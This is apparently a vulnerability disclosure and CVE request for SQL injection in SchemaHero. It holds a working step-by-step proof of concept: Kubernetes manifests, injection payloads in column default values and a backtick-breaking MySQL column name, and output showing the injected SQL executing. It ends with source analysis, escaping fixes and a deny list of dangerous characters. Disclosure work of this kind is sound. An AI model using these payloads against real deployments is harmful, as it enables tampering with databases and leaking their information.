b0b0haha / **cve-report.md**

Created last month

Code Revisions 1

cve-request:SchemaHero Table Schema SQL Injection Vulnerability

`cve-report.md`

SchemaHero Table Schema SQL Injection Vulnerability

Summary

Field	Value
Title	SchemaHero Table Schema SQL Injection Leading to Database Integrity Compromise
Affected Product	SchemaHero
Affected Versions	<= v0.23.0 (all versions)
Vulnerability Type	SQL Injection (CWE-89)
Severity	High
CVSS Score	7.5 (High)
Attack Vector	Network
Attack Complexity	Low

Field	Value
Privileges Required	Low (requires permission to create Table CRD)
User Interaction	None
Scope	Changed

Description

SchemaHero is a Kubernetes-native database schema management tool. Multiple SQL injection vulnerabilities exist when processing column definitions in Table CRDs:

1. **PostgreSQL Default Value Injection**: In `plugins/postgres/lib/column.go:87-90`, column default values are directly concatenated into SQL statements without escaping.
2. **MySQL Default Value Injection**: The same issue exists in `plugins/mysql/lib/column.go:96`.
3. **MySQL Backtick Injection**: In `plugins/mysql/lib/column.go:65`, column names are wrapped with backticks but internal backticks are not escaped, allowing attackers to inject additional column definitions.

When `Database.spec.immediateDeploy` is set to `true`, malicious Table CRDs are automatically executed without manual approval.

Impact

An attacker can:

- Leak sensitive information through PostgreSQL function injection (e.g., `current_user`, `version()`)
- Inject arbitrary additional columns in MySQL, including columns with malicious default values
- Tamper with database table structures
- Potentially achieve data tampering and privilege escalation

Environment Setup

Prerequisites

- Kubernetes cluster (v1.20+)
- kubectl configured
- Helm 3.x

Step 1: Install SchemaHero

```
# Add SchemaHero Helm repository
helm repo add schemahero https://schemahero.io/charts
helm repo update

# Install SchemaHero v0.23.0
helm install schemahero schemahero/schemahero \
  --version 0.23.0 \
  --namespace schemahero-system \
  --create-namespace

# Verify installation
kubectl get pods -n schemahero-system
```

Expected Output:

```
NAME                                   READY   STATUS    RESTARTS   AGE
schemahero-controller-xxxxxxxxx-xxxxx   1/1     Running   0          30s
```

Step 2: Deploy PostgreSQL Test Database

```
# Create test namespace
kubectl create namespace database

# Deploy PostgreSQL
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
  name: postgres
  namespace: database
spec:
  replicas: 1
  selector:
    matchLabels:
      app: postgres
  template:
    metadata:
      labels:
```

```
        app: postgres
    spec:
      containers:
      - name: postgres
        image: postgres:15
        env:
        - name: POSTGRES_USER
          value: testuser
        - name: POSTGRES_PASSWORD
          value: testpass
        - name: POSTGRES_DB
          value: testdb
        ports:
        - containerPort: 5432
---
apiVersion: v1
kind: Service
metadata:
  name: postgres
  namespace: database
spec:
  selector:
    app: postgres
  ports:
  - port: 5432
    targetPort: 5432
EOF

# Wait for PostgreSQL to be ready
kubectl wait --for=condition=available deployment/postgres -n database --time
```

Step 3: Create Database Connection Secret

```
kubectl apply -f - <<EOF
apiVersion: v1
kind: Secret
metadata:
  name: postgres-connection
  namespace: database
type: Opaque
stringData:
  uri: postgres://testuser:testpass@postgres:5432/testdb?sslmode=disable
EOF
```

Step 4: Create Database CRD with ImmediateDeploy Enabled

```
kubectl apply -f - <<EOF
apiVersion: databases.schemahero.io/v1alpha4
kind: Database
metadata:
  name: immediate-db
  namespace: database
spec:
  connection:
    postgres:
      uri:
        valueFrom:
          secretKeyRef:
            name: postgres-connection
            key: uri
  immediateDeploy: true
EOF

# Verify Database status
kubectl get databases -n database
```

Expected Output:

```
NAME           AGE
immediate-db   10s
```

PostgreSQL Default Value Injection PoC

Step 5: Create Malicious Table CRD (Function Injection)

```
kubectl apply -f - <<EOF
apiVersion: schemas.schemahero.io/v1alpha4
kind: Table
metadata:
  name: sqli-function-test
  namespace: database
spec:
  database: immediate-db
  name: sqli_function
  schema:
    postgres:
      primaryKey:
        - id
      columns:
        - name: id
```

```
          type: integer
        - name: current_user_data
          type: varchar(255)
          # Inject current_user function
          default: "' || current_user || '"
        - name: version_data
          type: varchar(255)
          # Inject version() function
          default: "' || version() || '"
EOF
```

Step 6: Verify SQL Injection

```
# Check controller logs to confirm generated SQL
kubectl logs -n schemahero-system deployment/schemahero-controller | grep "Ex
```

Expected Output (Log Evidence):

```
Executing query "create table \"sqli_function\" (\"id\" integer,
\"current_user_data\" character varying (255) default '' || current_user ||
'', \"version_data\" character varying (255) default '' || version() || '',
primary key (\"id\"))"
```

Step 7: Verify Injection Results in Database

```
# View table structure
kubectl exec deployment/postgres -n database -- psql -U testuser -d testdb -c
```

Expected Output:

```
                                        Table "public.sqli_function"
      Column       |          Type          | Collation | Nullable |
Default
-------------------+------------------------+-----------+----------+-------
-----------------------------------------
 id                | integer                |           | not null |
 current_user_data | character varying(255) |           |          |
((''::text || CURRENT_USER::text) || ''::text))
 version_data      | character varying(255) |           |          |
((''::text || version()) || ''::text))
```

Step 8: Verify Sensitive Information Leakage

```
# Insert data and view leaked information
kubectl exec deployment/postgres -n database -- psql -U testuser -d testdb -c
```

Expected Output (Sensitive Information Leakage Evidence):

```
 id | current_user_data |
version_data
----+-------------------+----------------------------------------------------
----------------------------------------
  1 | testuser          | PostgreSQL 15.15 on x86_64-pc-linux-musl,
compiled by gcc (Alpine 15.2.0) 15.2.0, 64-bit
```

MySQL Backtick Injection PoC

Step 9: Deploy MySQL Test Database

```
# Create MySQL namespace
kubectl create namespace mysql-db

# Deploy MySQL
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
  name: mysql
  namespace: mysql-db
spec:
  replicas: 1
  selector:
    matchLabels:
      app: mysql
  template:
    metadata:
      labels:
        app: mysql
    spec:
      containers:
      - name: mysql
        image: mysql:8.0
        env:
        - name: MYSQL_ROOT_PASSWORD
          value: rootpass
```

```
        - name: MYSQL_DATABASE
          value: testdb
        - name: MYSQL_USER
          value: testuser
        - name: MYSQL_PASSWORD
          value: testpass
        ports:
        - containerPort: 3306
---
apiVersion: v1
kind: Service
metadata:
  name: mysql
  namespace: mysql-db
spec:
  selector:
    app: mysql
  ports:
  - port: 3306
    targetPort: 3306
EOF

# Wait for MySQL to be ready
kubectl wait --for=condition=available deployment/mysql -n mysql-db --timeout
```

Step 10: Create MySQL Connection Configuration

```
kubectl apply -f - <<EOF
apiVersion: v1
kind: Secret
metadata:
  name: mysql-connection
  namespace: mysql-db
type: Opaque
stringData:
  uri: testuser:testpass@tcp(mysql:3306)/testdb
---
apiVersion: databases.schemahero.io/v1alpha4
kind: Database
metadata:
  name: mysql-immediate
  namespace: mysql-db
spec:
  connection:
    mysql:
      uri:
        valueFrom:
```

```
          secretKeyRef:
            name: mysql-connection
            key: uri
  immediateDeploy: true
EOF
```

Step 11: Create Malicious Table CRD (Backtick Injection)

```
kubectl apply -f - <<EOF
apiVersion: schemas.schemahero.io/v1alpha4
kind: Table
metadata:
  name: mysql-backtick-test
  namespace: mysql-db
spec:
  database: mysql-immediate
  name: backtick_test3
  schema:
    mysql:
      primaryKey:
        - id
      columns:
        - name: id
          type: int
        # Backtick injection: add columns with default values
        - name: "data\` varchar(100) default 'hacked', \`secret"
          type: text
EOF
```

Step 12: Verify Backtick Injection

```
# Check controller logs
kubectl logs -n schemahero-system deployment/schemahero-controller | grep "ba
```

Expected Output (Log Evidence):

```
Executing query "create table `backtick_test3` (`id` int (11), `data`
varchar(100) default 'hacked', `secret` text, primary key (`id`))"
```

Step 13: Verify Injection Results in Database

```
# View table structure
kubectl exec deployment/mysql -n mysql-db -- mysql -u testuser -ptestpass tes
```

Expected Output:

```
+--------+--------------+------+-----+---------+-------+
| Field  | Type         | Null | Key | Default | Extra |
+--------+--------------+------+-----+---------+-------+
| id     | int          | NO   | PRI | NULL    |       |
| data   | varchar(100) | YES  |     | hacked  |       |  <- Injected
column with malicious default
| secret | text         | YES  |     | NULL    |       |  <- Injected
column
+--------+--------------+------+-----+---------+-------+
```

Step 14: Verify Malicious Default Value Takes Effect

```
kubectl exec deployment/mysql -n mysql-db -- mysql -u testuser -ptestpass tes
```

Expected Output:

```
+----+--------+--------+
| id | data   | secret |
+----+--------+--------+
|  1 | hacked | NULL   |
+----+--------+--------+
```

Vulnerable Source Code Analysis

PostgreSQL Default Value Injection (plugins/postgres/lib/column.go:87-90)

```
if postgresColumn.ColumnDefault != nil {
    value := stripOIDClass(*postgresColumn.ColumnDefault)
    formatted = fmt.Sprintf("%s default '%s'", formatted, value)  // ❌ Direc
}
```

Issue: `stripOIDClass()` only removes OID class prefix, does not perform security escaping. Default values are directly concatenated into SQL statements.

MySQL Backtick Injection (plugins/mysql/lib/column.go:65)

```
formatted := fmt.Sprintf("`%s` %s", column.Name, mysqlColumn.DataType)  // ❌
```

Issue: Backtick characters in column names are not escaped, allowing attackers to close backticks and inject additional SQL fragments.

MySQL Default Value Injection (plugins/mysql/lib/column.go:96)

```
formatted = fmt.Sprintf("%s default '%s'", formatted, *mysqlColumn.ColumnDefa
```

Remediation

1. Escape Single Quotes in Default Values

```
// PostgreSQL
if postgresColumn.ColumnDefault != nil {
    value := stripOIDClass(*postgresColumn.ColumnDefault)
    escapedValue := strings.ReplaceAll(value, "'", "''")
    formatted = fmt.Sprintf("%s default '%s'", formatted, escapedValue)
}

// MySQL
if quoteDefaultValue {
    escapedValue := strings.ReplaceAll(*mysqlColumn.ColumnDefault, "'", "''")
    escapedValue = strings.ReplaceAll(escapedValue, "\\", "\\\\")
    formatted = fmt.Sprintf("%s default '%s'", formatted, escapedValue)
}
```

2. Escape Backticks in MySQL Column Names

```
escapedName := strings.ReplaceAll(column.Name, "`", "``")
formatted := fmt.Sprintf("`%s` %s", escapedName, mysqlColumn.DataType)
```

3. Whitelist Validation

```
func validateDefaultValue(value string) error {
    dangerousChars := []string{"'", "\"", ";", "--", "/*", "*/", "||", "(", "
    for _, char := range dangerousChars {
```

```
        if strings.Contains(value, char) {
            return fmt.Errorf("default value contains dangerous character: %s
        }
    }
    return nil
}

func validateColumnName(name string) error {
    if !regexp.MustCompile(`^[a-zA-Z_][a-zA-Z0-9_]*$`).MatchString(name) {
        return fmt.Errorf("invalid column name: %s", name)
    }
    return nil
}
```

Workarounds

1. **Disable ImmediateDeploy**: Set `Database.spec.immediateDeploy` to `false` to ensure all Migrations require manual approval
2. **RBAC Restrictions**: Limit users who can create Table CRDs
3. **Audit Logging**: Monitor creation and modification of Table CRDs

References

- SchemaHero Official Documentation
- CWE-89: SQL Injection
- OWASP SQL Injection

Credit

credit for: @b0b0haha (603571786@qq.com) @lixingquzhi (mayedoushidalao@163.com)